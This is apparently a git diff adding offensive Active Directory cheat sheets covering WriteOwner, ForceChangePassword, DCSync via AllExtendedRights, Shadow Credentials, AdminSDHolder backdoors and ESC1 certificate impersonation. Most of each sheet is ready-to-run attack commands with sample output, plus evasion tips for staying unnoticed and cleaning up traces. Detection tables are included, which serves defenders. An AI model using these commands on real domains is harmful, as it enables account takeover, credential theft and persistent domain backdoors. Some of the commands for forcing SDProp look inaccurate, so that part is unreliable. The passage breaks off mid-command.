+ +```bash +# ── Step 1: Take ownership ──────────────────────────────────────────────────── +owneredit.py -action write -new-owner low_user -target targetadmin \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 + +# ── Step 2: Grant GenericAll ────────────────────────────────────────────────── +dacledit.py -action write -rights FullControl -principal low_user -target targetadmin \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 + +# ── Step 3: Exploit ────────────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + set password targetadmin 'P@ssword123!' + +# ── Or bloodyAD shortcut ────────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + set owner targetadmin low_user +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | WriteOwner operation on AD object | +| **4670** | Security Log (DC) | Permissions changed on an object | +| **5136** | Security Log (DC) | Owner attribute modified | + +*** + +## 🔗 Attack Chain Context + +``` +[WriteOwner] ──→ Take Ownership → WriteDACL → Full Control + │ + ├──→ 🔑 Two-step escalation: WriteOwner → WriteDACL → GenericAll + ├──→ 🔗 Chain with: WriteDACL (#21), GenericAll (#19) + └──→ 💀 Defeated by: ACL auditing, monitor ownership changes +``` + +*** + +> ✅ **Attack #22 — WriteOwner Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-23-forcechangepassword-abuse.md b/src/content/sheets/active-directory/attack-23-forcechangepassword-abuse.md @@ -0,0 +1,109 @@ +--- +title: "Attack #23 — ForceChangePassword Abuse" +description: "ForceChangePassword (also known as User-Force-Change-Password extended right) allows a principal to reset another user's password without knowing their…" +category: active-directory +tags: ["active-directory", "delegation", "privilege-escalation"] +tools: ["Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #23 — ForceChangePassword Abuse.md" +--- +# 🟡 Attack #23 — ForceChangePassword Abuse + +*** + +## 📖 How It Works + +ForceChangePassword (also known as `User-Force-Change-Password` extended right) allows a principal to **reset another user's password without knowing their current password**. Unlike GenericAll or GenericWrite, this is a **single-purpose ACE** — it can only reset the password, nothing else. However, if the target is a Domain Admin or service account, one password reset is all you need for full domain compromise. + +This right is commonly granted to helpdesk groups, IT support teams, and password reset delegations — and is frequently over-scoped to include privileged accounts. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **ForceChangePassword/User-Force-Change-Password on target** | Extended right in the target user's DACL | +| **Domain user account** | Any authenticated domain user with this right | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **PowerView** | Windows | `Set-DomainUserPassword` | +| **net user** | Windows | Native Windows command | +| **rpcclient** | Linux | RPC-based password reset | +| **bloodyAD** | Linux | `set password` command | +| **Impacket** | Linux | Various methods for password reset | + +*** + +## 💻 Full Commands + +### 🔴 Password Reset Exploitation + +```powershell +# ── PowerView ───────────────────────────────────────────────────────────────── +$NewPassword = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +Set-DomainUserPassword -Identity targetadmin -AccountPassword $NewPassword -Verbose + +# ── Native PowerShell ───────────────────────────────────────────────────────── +Set-ADAccountPassword -Identity targetadmin -NewPassword ( + ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +) -Reset + +# ── net user ────────────────────────────────────────────────────────────────── +net user targetadmin P@ssword123! /domain +``` + +```bash +# ── rpcclient ───────────────────────────────────────────────────────────────── +rpcclient -U 'corp.local/low_user%Password1' DC01.corp.local \ + -c "setuserinfo2 targetadmin 23 P@ssword123!" + +# ── bloodyAD ────────────────────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + set password targetadmin 'P@ssword123!' + +# ── Impacket — net rpc ──────────────────────────────────────────────────────── +net rpc password targetadmin 'P@ssword123!' -U 'corp.local/low_user%Password1' \ + -S DC01.corp.local +``` + +*** + +## 🎯 OPSEC Tips + +- **Password resets are LOUD** — the target user will notice immediately if they can't log in +- **Event 4724 is generated** on every password reset — easy to detect and correlate +- **Consider Shadow Credentials instead** if you have GenericWrite — it doesn't change the password +- **Some accounts have "cannot change password" set** — ForceChangePassword bypasses this, but the event is still logged + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4724** | Security Log (DC) | Password reset by a non-helpdesk account targeting a privileged user | +| **4723** | Security Log (DC) | User attempted to change their own password (not relevant here) | + +*** + +## 🔗 Attack Chain Context + +``` +[ForceChangePassword] ──→ Account Takeover via Password Reset + │ + ├──→ 🔑 Reset DA password → instant domain compromise + ├──→ ⚠️ Loudest ACL attack — user notices immediately + ├──→ 🔗 Prefer: Shadow Credentials (#25) if GenericWrite available + └──→ 💀 Defeated by: monitor 4724, restrict password reset delegation +``` + +*** + +> ✅ **Attack #23 — ForceChangePassword Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-24-allextendedrights-dcsync-ace-abuse.md b/src/content/sheets/active-directory/attack-24-allextendedrights-dcsync-ace-abuse.md @@ -0,0 +1,103 @@ +--- +title: "Attack #24 — AllExtendedRights DCSync ACE Abuse" +description: "AllExtendedRights is a blanket permission that grants every extended right on an AD object. When applied to the domain root object, this includes the two…" +category: active-directory +tags: ["active-directory", "credential-access", "delegation"] +tools: ["Impacket", "Mimikatz", "BloodHound", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #24 — AllExtendedRights DCSync ACE Abuse.md" +--- +# 🟡 Attack #24 — AllExtendedRights / DCSync ACE Abuse + +*** + +## 📖 How It Works + +`AllExtendedRights` is a blanket permission that grants **every extended right** on an AD object. When applied to the **domain root object**, this includes the two critical replication rights: `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` — which is everything needed for DCSync. Unlike WriteDACL (where you ADD new ACEs), AllExtendedRights means you **already have** the DCSync permission implicitly — you can immediately run DCSync without any DACL modification. + +This permission is also dangerous on user objects, where it grants `User-Force-Change-Password` (password reset) and `User-Change-Password` among other extended rights. + +### AllExtendedRights Impact by Target + +| Target | Extended Rights Granted | Impact | +|---|---|---| +| **Domain root object** | DS-Replication-Get-Changes + All | Immediate DCSync capability | +| **User object** | User-Force-Change-Password | Password reset without knowing current password | +| **Computer object** | Various | Read LAPS password, modify delegation | +| **Any object** | All extended rights for that object class | Full extended right access | + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **AllExtendedRights on domain root** | For DCSync — check via BloodHound or PowerView | +| **Domain user account** | The principal with AllExtendedRights | + +*** + +## 💻 Full Commands + +### 🔵 Enumerate AllExtendedRights + +```powershell +# ── Find who has AllExtendedRights on the domain root ───────────────────────── +Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | + Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" -and + $_.ObjectAceType -eq "00000000-0000-0000-0000-000000000000" } | + ForEach-Object { + $_ | Add-Member -NotePropertyName Principal -NotePropertyValue ( + Convert-SidToName $_.SecurityIdentifier + ) -PassThru + } | Select-Object Principal, ActiveDirectoryRights +# ObjectAceType of all zeros = AllExtendedRights +``` + +### 🔴 Immediate DCSync (No ACL Modification Needed) + +```powershell +# ── If you have AllExtendedRights on domain root, just DCSync ───────────────── +mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit +``` + +```bash +# ── Linux ───────────────────────────────────────────────────────────────────── +secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local -just-dc-user krbtgt +# This works directly because AllExtendedRights = has replication rights +``` + +### 🔴 AllExtendedRights on User → Password Reset + +```powershell +Set-DomainUserPassword -Identity targetadmin -AccountPassword ( + ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +) +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | Replication rights used — same as DCSync detection | +| **4724** | Security Log (DC) | Password reset (if used on user objects) | + +*** + +## 🔗 Attack Chain Context + +``` +[AllExtendedRights] ──→ Immediate DCSync or Password Reset + │ + ├──→ 🩸 On domain root → DCSync without any ACL modification + ├──→ 🔑 On user → password reset + ├──→ 🔗 Differs from WriteDACL: no need to ADD rights, you already HAVE them + └──→ 💀 Defeated by: audit who has AllExtendedRights, limit to legitimate accounts +``` + +*** + +> ✅ **Attack #24 — AllExtendedRights Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-25-shadow-credentials-attack-msds-keycredentiallink.md b/src/content/sheets/active-directory/attack-25-shadow-credentials-attack-msds-keycredentiallink.md @@ -0,0 +1,173 @@ +--- +title: "Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink)" +description: "Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute — originally…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "persistence", "hashing"] +tools: ["Impacket", "Rubeus", "Certipy", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink).md" +--- +# 🟡 Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink) + +*** + +## 📖 How It Works + +Shadow Credentials is one of the **stealthiest account takeover techniques** in Active Directory. It abuses the `msDS-KeyCredentialLink` attribute — originally designed for **Windows Hello for Business (WHfB)** — to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via **PKINIT** (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target's password. + +### Why Shadow Credentials is Superior to Password Reset + +| Aspect | Password Reset | Shadow Credentials | +|---|---|---| +| **Target notices?** | ✅ Yes — locked out immediately | ❌ No — original password still works | +| **Persistence** | One-time — target resets back | Persistent — survives password changes | +| **Detection** | Event 4724 — well-known | Event 5136 — less commonly monitored | +| **Prerequisite** | ForceChangePassword / GenericAll | GenericWrite / GenericAll / WriteDACL on target | +| **OPSEC** | Low | High | + +### Requirements + +- **ADCS deployed** (or at least PKINIT enabled in the domain) +- **Domain functional level 2016+** (for `msDS-KeyCredentialLink` attribute) +- **Write access to target's `msDS-KeyCredentialLink`** (GenericWrite, GenericAll, or explicit write) + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Write access to msDS-KeyCredentialLink** | GenericWrite, GenericAll on target user/computer | +| **PKINIT / ADCS in environment** | Domain must support certificate-based auth | +| **Domain functional level 2016+** | Attribute doesn't exist on older schemas | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Whisker** | Windows | Add/remove/list shadow credentials | +| **pyWhisker** | Linux | Python implementation | +| **Certipy** | Linux | `shadow auto` — automated full chain | +| **DSInternals** | Windows/PowerShell | `Set-DomainObject` key credential manipulation | +| **Rubeus** | Windows | PKINIT authentication with the shadow cert | + +*** + +## 💻 Full Commands + +### 🔴 Whisker (Windows) + +```powershell +# ── Add shadow credential to target user ────────────────────────────────────── +.\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local + +# Output: +# [*] No existing DeviceCredentials found +# [*] Generated key pair +# [*] DeviceID: a1b2c3d4-... +# [*] Adding KeyCredential +# [*] Use Rubeus with the following command: +# Rubeus.exe asktgt /user:targetadmin /certificate:<base64_pfx> /password:<pfx_pass> /ptt + +# ── Run the outputted Rubeus command ────────────────────────────────────────── +.\Rubeus.exe asktgt /user:targetadmin /certificate:<base64_from_whisker> \ + /password:<password_from_whisker> /ptt /getcredentials + +# Output includes NT hash via U2U + +# ── List existing shadow credentials ────────────────────────────────────────── +.\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local + +# ── Remove shadow credential (cleanup) ──────────────────────────────────────── +.\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \ + /domain:corp.local /dc:DC01.corp.local +``` + +### 🔴 pyWhisker (Linux) + +```bash +# ── Add shadow credential ──────────────────────────────────────────────────── +python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ + --target targetadmin --action add --dc-ip 10.10.10.10 + +# Output: PFX certificate file and password + +# ── Authenticate with the certificate ───────────────────────────────────────── +certipy auth -pfx <generated_pfx_file> -dc-ip 10.10.10.10 +# Returns TGT + NT hash + +# ── List ────────────────────────────────────────────────────────────────────── +python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ + --target targetadmin --action list --dc-ip 10.10.10.10 + +# ── Remove ──────────────────────────────────────────────────────────────────── +python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ + --target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10 +``` + +### 🔴 Certipy Shadow Auto (Easiest — Linux) + +```bash +# ── Full automated chain — add key, auth, get hash ─────────────────────────── +certipy shadow auto -u low_user@corp.local -p 'Password1' \ + -account targetadmin -dc-ip 10.10.10.10 + +# Output: +# [*] Saved PFX to 'targetadmin.pfx' +# [*] Got TGT for 'targetadmin@corp.local' +# [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe +``` + +### 🔴 Shadow Credentials on Computer Objects + +```bash +# ── Works on computer objects too (compromise the machine) ──────────────────── +certipy shadow auto -u low_user@corp.local -p 'Password1' \ + -account 'TARGET$' -dc-ip 10.10.10.10 + +# Use the machine's NT hash to: +# - Silver Ticket to services on that machine +# - SecretsDump for local SAM/LSA +secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe +``` + +*** + +## 🎯 OPSEC Tips + +- **Shadow Credentials persist across password changes** — the key credential remains valid even after target changes their password +- **Always clean up** — remove the DeviceID from `msDS-KeyCredentialLink` after extracting the hash/TGT +- **Shadow Credentials fail if WHfB is not enabled** and there's no ADCS — PKINIT must be supported +- **Computer objects work too** — you can Shadow Credential a computer to get its machine account hash +- **Most OPSEC-friendly takeover** — the target user notices nothing; their password still works + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **5136** | Security Log (DC) | Modification of `msDS-KeyCredentialLink` attribute | +| **4768** | Security Log (DC) | TGT request via PKINIT (Pre-Auth Type 16) — certificate-based auth for a non-smart-card user | + +*** + +## 🔗 Attack Chain Context + +``` +[Shadow Credentials] ──→ Stealthy Account Takeover Without Password Change + │ + ├──→ 🔑 Write msDS-KeyCredentialLink → auth as target via PKINIT + ├──→ 🔒 Survives password changes — persistent until key is removed + ├──→ 💻 Works on users AND computers + ├──→ 🔗 Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21) + └──→ 💀 Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused +``` + +*** + +> ✅ **Attack #25 — Shadow Credentials complete.** diff --git a/src/content/sheets/active-directory/attack-26-adminsdholder-persistence-via-acl.md b/src/content/sheets/active-directory/attack-26-adminsdholder-persistence-via-acl.md @@ -0,0 +1,190 @@ +--- +title: "Attack #26 — AdminSDHolder Persistence via ACL" +description: "AdminSDHolder is a built-in Active Directory persistence mechanism that attackers can abuse for permanent, self-healing backdoor access. The…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "persistence"] +tools: ["Impacket", "Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #26 — AdminSDHolder Persistence via ACL.md" +--- +# 🟡 Attack #26 — AdminSDHolder Persistence via ACL + +*** + +## 📖 How It Works + +AdminSDHolder is a **built-in Active Directory persistence mechanism** that attackers can abuse for permanent, self-healing backdoor access. The `CN=AdminSDHolder,CN=System` container holds a **template security descriptor** that is automatically applied to all "protected" AD objects — including Domain Admins, Enterprise Admins, Account Operators, Server Operators, and their members — by the **Security Descriptor Propagator (SDProp)** process, which runs **every 60 minutes** by default. + +If an attacker modifies the AdminSDHolder object's ACL to include a backdoor ACE (e.g., granting their user GenericAll or DCSync rights), that ACE will be **automatically propagated to every protected object in the domain** within 60 minutes. Even if a defender removes the backdoor ACE from individual protected objects, SDProp will **re-apply it from AdminSDHolder** on the next cycle — making it a self-healing persistence mechanism. + +### Protected Groups (Subject to SDProp) + +``` +- Domain Admins - Enterprise Admins +- Schema Admins - Administrators +- Account Operators - Server Operators +- Print Operators - Backup Operators +- Domain Controllers - Read-only Domain Controllers +- Cert Publishers - Replicator +``` + +### The Full Attack Flow + +``` +1. Achieve Domain Admin (or WriteDACL on AdminSDHolder) +2. Modify AdminSDHolder ACL — add your user with GenericAll/DCSync rights +3. Wait 60 minutes (or trigger SDProp manually) +4. SDProp propagates your backdoor ACE to ALL protected objects +5. Even if blue team removes your ACE from target objects, + SDProp re-applies it from AdminSDHolder on next cycle +6. Persist indefinitely until AdminSDHolder ACL is cleaned +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **WriteDACL on AdminSDHolder** | Requires DA or specific ACL access to AdminSDHolder | +| **Domain Admin (typical)** | Most common way to reach AdminSDHolder | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **PowerView** | Windows | `Add-DomainObjectAcl` targeting AdminSDHolder | +| **Impacket — dacledit.py** | Linux | Remote ACL modification | +| **bloodyAD** | Linux | ACL manipulation | + +*** + +## 💻 Full Commands + +### 🔴 Add Backdoor ACE to AdminSDHolder + +```powershell +# ── PowerView — add GenericAll for backdoor user ────────────────────────────── +Import-Module .\PowerView.ps1 +Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ + -PrincipalIdentity backdoor_user -Rights All -Verbose + +# ── Or add DCSync rights ────────────────────────────────────────────────────── +Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ + -PrincipalIdentity backdoor_user -Rights DCSync -Verbose + +# ── Or using Set-ACL directly ───────────────────────────────────────────────── +$ASDHPath = "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=local" +$UserSID = (Get-ADUser backdoor_user).SID +$ACL = Get-Acl $ASDHPath +$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( + $UserSID, "GenericAll", "Allow" +) +$ACL.AddAccessRule($ACE) +Set-Acl -Path $ASDHPath -AclObject $ACL +``` + +```bash +# ── dacledit.py ─────────────────────────────────────────────────────────────── +dacledit.py -action write -rights FullControl \ + -principal backdoor_user \ + -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ + corp.local/Administrator:'Password1' -dc-ip 10.10.10.10 +``` + +### 🔴 Force SDProp to Run Immediately (Don't Wait 60 Minutes) + +```powershell +# ── Method 1: Invoke SDProp via rootDSE modify ─────────────────────────────── +$rootDSE = [ADSI]"LDAP://RootDSE" +$rootDSE.Put("FixUpInheritance", 1) +$rootDSE.SetInfo() + +# ── Method 2: PowerShell AD Module ─────────────────────────────────────────── +Invoke-ADSDPropagation +# Or: +Start-ADSyncCycle -PolicyType Delta + +# ── Method 3: Protected Runspace ────────────────────────────────────────────── +$ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("DC01.corp.local") +$mod = New-Object System.DirectoryServices.Protocols.ModifyRequest("", + [System.DirectoryServices.Protocols.DirectoryAttributeModification]@{ + Name = "RunProtectAdminGroupsTask"; Operation = "Replace"; Values = "1" + } +) +$ldap.SendRequest($mod) +``` + +### 🔴 Verify Propagation + +```powershell +# ── Check if your ACE was propagated to Domain Admins ───────────────────────── +Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | + Where-Object { $_.IdentityReference -match "backdoor_user" } + +# ── Should show GenericAll or DCSync rights propagated from AdminSDHolder ───── +``` + +### 🔴 Exploit the Propagated Rights + +```powershell +# ── After SDProp propagation, backdoor_user has GenericAll on ALL protected objects ─ +# Reset any DA password: +Set-DomainUserPassword -Identity Administrator -AccountPassword ( + ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +) + +# Add yourself to Domain Admins: +Add-DomainGroupMember -Identity "Domain Admins" -Members backdoor_user + +# DCSync: +mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit +``` + +*** + +## 🎯 OPSEC Tips + +- **Self-healing** — even if defenders remove your ACE from individual DA/EA objects, SDProp re-applies it every 60 minutes +- **Requires DA to set up** — this is a persistence technique, not an initial escalation +- **AdminSDHolder modifications are RARE** in legitimate operations — any change should trigger immediate investigation +- **Don't use obvious accounts** — create a service account or technical account as the backdoor principal +- **SDProp also sets `adminCount=1`** on affected users — this is an IOC that defenders can query for + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | Object access on AdminSDHolder | +| **5136** | Security Log (DC) | Directory modification — nTSecurityDescriptor change on AdminSDHolder | +| **4780** | Security Log (DC) | SDProp applied ACL to a protected object | +| **4670** | Security Log (DC) | Permissions changed on AdminSDHolder container | + +**Primary detection:** Baseline the AdminSDHolder SDDL and alert on **ANY change**. AdminSDHolder modifications are exceptionally rare in legitimate operations — any modification is a critical severity alert. Additionally, query for users with `adminCount=1` who shouldn't have it. + +*** + +## 🔗 Attack Chain Context + +``` +[AdminSDHolder Persistence] ──→ Self-Healing Backdoor Access + │ + ├──→ 🔄 SDProp re-applies your ACE every 60 minutes + ├──→ 🔒 Survives: ACE removal from individual objects, password changes + ├──→ 🎯 Affects: ALL protected groups (DA, EA, Schema, etc.) + ├──→ 🔗 Prereqs: Domain Admin or WriteDACL on AdminSDHolder + └──→ 💀 Defeated by: baseline AdminSDHolder ACL, monitor 5136, alert on ANY change +``` + +*** + +> ✅ **Attack #26 — AdminSDHolder Persistence complete.** + +*** + +> 🏁 **Category 3 — ACL / Permission Abuse is now COMPLETE (8/8 attacks).** diff --git a/src/content/sheets/active-directory/attack-27-esc1-san-specification-in-template.md b/src/content/sheets/active-directory/attack-27-esc1-san-specification-in-template.md @@ -0,0 +1,328 @@ +--- +title: "Attack #27 — ESC1 SAN Specification in Template" +description: "ESC1 is the most impactful and commonly exploited ADCS vulnerability — a misconfigured certificate template that allows any low-privileged domain user to…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "privilege-escalation"] +tools: ["NetExec", "Impacket", "Rubeus", "Certipy", "Evil-WinRM"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #27 — ESC1 SAN Specification in Template.md" +--- +# 🟢 Attack #27 — ESC1: SAN Specification in Certificate Template + +*** + +## 📖 How It Works + +ESC1 is **the most impactful and commonly exploited ADCS vulnerability** — a misconfigured certificate template that allows any low-privileged domain user to request a certificate that impersonates any other user in the domain, including Domain Admins. The attacker specifies an arbitrary **Subject Alternative Name (SAN)** in the certificate request, and the Certificate Authority (CA) blindly issues a certificate for that identity. The attacker then uses the issued certificate to authenticate as the target user via PKINIT (Kerberos certificate-based authentication), effectively achieving **instant domain compromise from a standard domain user account**. + +### The Four Conditions That Create ESC1 + +All four conditions must be true simultaneously for a template to be vulnerable: + +| # | Condition | Template Setting | Why It's Dangerous | +|---|---|---|---| +| 1 | **Enrollee Supplies Subject** | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled ("Supply in the request") | The requester — not Active Directory — defines the identity in the certificate | +| 2 | **Authentication EKU** | `Client Authentication`, `Smart Card Logon`, `PKINIT Client Authentication`, or `Any Purpose` | The certificate can be used to authenticate to the domain | +| 3 | **Permissive Enrollment** | `Domain Users`, `Authenticated Users`, or similar group has Enroll/AutoEnroll rights | Any domain user can request certificates from this template | +| 4 | **No Manager Approval** | Manager Approval is NOT required | Requests are processed immediately without human review | + +### How the Attack Works Step-by-Step + +``` +1. Enumerate ADCS environment — find CAs and vulnerable templates +2. Identify a template with all 4 ESC1 conditions met +3. Request a certificate from the vulnerable template +4. In the request, specify the SAN as the target user's UPN (e.g., Administrator@corp.local) +5. The CA issues a certificate with the target's identity embedded +6. Use the certificate to authenticate via PKINIT (Kerberos) +7. Receive a TGT as the target user — you ARE the Domain Admin now +8. Extract the NT hash via U2U (UnPAC-the-Hash) for pass-the-hash +``` + +### Why This Works + +Active Directory Certificate Services was designed to allow flexibility in certificate issuance — the "Supply in the request" option was intended for scenarios where the certificate subject doesn't match the requesting user (web servers, code signing, etc.). But when this is combined with an authentication EKU, the CA creates a certificate that proves the holder IS the person named in the SAN — and the Domain Controller accepts this as valid PKINIT authentication. The CA never verifies that the requester is authorized to impersonate the SAN identity. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain user account** | Any standard domain user — "Domain Users" or "Authenticated Users" must have Enroll rights on the template | +| **Network access to CA** | Must reach the CA's enrollment endpoint (RPC, HTTP, or DCOM) | +| **ADCS deployed in domain** | At least one Enterprise CA must exist | +| **Vulnerable template exists** | Template must have all 4 ESC1 conditions simultaneously | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Certipy** | Linux | All-in-one ADCS exploitation — `find`, `req`, `auth` subcommands | +| **Certify** | Windows | SharpCollection tool — enumerate and request vulnerable certificates | +| **Rubeus** | Windows | PKINIT authentication with obtained certificate | +| **ForgeCert** | Windows | Forge certificates directly (for Golden Certificate attacks) | +| **Impacket — getTGT.py** | Linux | PKINIT authentication with `.pfx` or `.ccache` | +| **openssl** | Linux/Windows | Convert between certificate formats (.pfx, .pem, .p12) | + +*** + +## 💻 Full Commands + +### 🔵 Step 1 — Enumerate Vulnerable Certificate Templates + +#### Certipy (Linux — Recommended) + +```bash +# ── Find all vulnerable templates across the ADCS environment ───────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 + +# Output: Generates text and JSON files with all CA and template info +# Look for: [!] Vulnerabilities: ESC1 + +# ── Verbose output — show detailed template configuration ───────────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -stdout + +# ── Filter for vulnerable templates only ────────────────────────────────────── +certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ + -vulnerable -stdout + +# Key fields to look for in ESC1-vulnerable templates: +# Template Name: VulnerableTemplate +# Enrollee Supplies Subject: True ← CRITICAL — this is the ESC1 flag +# Client Authentication: True ← Authentication EKU present +# Enrollment Rights: CORP.LOCAL\Domain Users ← Low-priv can enroll +# Requires Manager Approval: False ← No human review +``` + +#### Certify (Windows) + +```powershell +# ── Find vulnerable templates ───────────────────────────────────────────────── +.\Certify.exe find /vulnerable + +# ── Find templates with specific ESC1 conditions ───────────────────────────── +.\Certify.exe find /enrolleeSuppliesSubject + +# ── Show detailed template info ─────────────────────────────────────────────── +.\Certify.exe find /vulnerable /currentuser + +# Key output to look for: +# [!] Vulnerable Certificates Templates : +# Template : VulnerableTemplate +# Enrollee Supplies Subject : True +# Client Authentication : True +# Enrollment Rights : CORP\Domain Users +# Requires Manager Approval : False +``` + +#### Manual Enumeration (PowerShell) + +```powershell +# ── Query all certificate templates via LDAP ────────────────────────────────── +Get-ADObject -LDAPFilter '(objectclass=pKICertificateTemplate)' \ + -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$((Get-ADRootDSE).configurationNamingContext)" \ + -Properties * | Where-Object { + $_.msPKI-Certificate-Name-Flag -band 1 # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + } | Select-Object Name, msPKI-Certificate-Name-Flag, pKIExtendedKeyUsage + +# ── Check enrollment rights ─────────────────────────────────────────────────── +$template = Get-ADObject -LDAPFilter '(&(objectclass=pKICertificateTemplate)(cn=VulnerableTemplate))' \ + -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$((Get-ADRootDSE).configurationNamingContext)" +(Get-Acl "AD:$($template.DistinguishedName)").Access | + Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" -and $_.ObjectType -eq "0e10c968-78fb-11d2-90d4-00c04f79dc55" } +# ObjectType 0e10c968... = Certificate-Enrollment extended right +``` + +*** + +### 🔴 Step 2 — Request Certificate with Forged SAN + +#### Certipy (Linux — Most Common Method) + +```bash +# ── Request certificate impersonating Administrator ─────────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ + -ca CORP-CA \ + -template VulnerableTemplate \ + -upn Administrator@corp.local + +# Flags explained: +# -ca = Name of the Certificate Authority (from 'certipy find' output) +# -template = Vulnerable template name +# -upn = UPN of the target user to impersonate (Subject Alternative Name) + +# Output: Saved certificate and private key to 'administrator.pfx' + +# ── Request impersonating a specific DA ─────────────────────────────────────── +certipy req -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 \ + -ca CORP-CA \ + -template VulnerableTemplate \ + -upn domain_admin@corp.local + +# ── Request using NT hash (Pass-the-Hash authentication to CA) ──────────────── +certipy req -u low_user@corp.local -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -dc-ip 10.10.10.10 \ + -ca CORP-CA \ + -template VulnerableTemplate \ + -upn Administrator@corp.local + +# ── Request using Kerberos authentication ───────────────────────────────────── +export KRB5CCNAME=low_user.ccache +certipy req -u low_user@corp.local -k -no-pass -dc-ip 10.10.10.10 \ + -ca CORP-CA \ + -template VulnerableTemplate \ + -upn Administrator@corp.local +``` + +#### Certify (Windows) + +```powershell +# ── Request certificate with alternate SAN ──────────────────────────────────── +.\Certify.exe request /ca:DC01.corp.local\CORP-CA \ + /template:VulnerableTemplate \ + /altname:Administrator + +# Output: Certificate in PEM format +# Copy the entire -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE----- +# block to a file called cert.pem + +# ── Convert PEM to PFX for use with Rubeus ─────────────────────────────────── +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \ + -export -out administrator.pfx 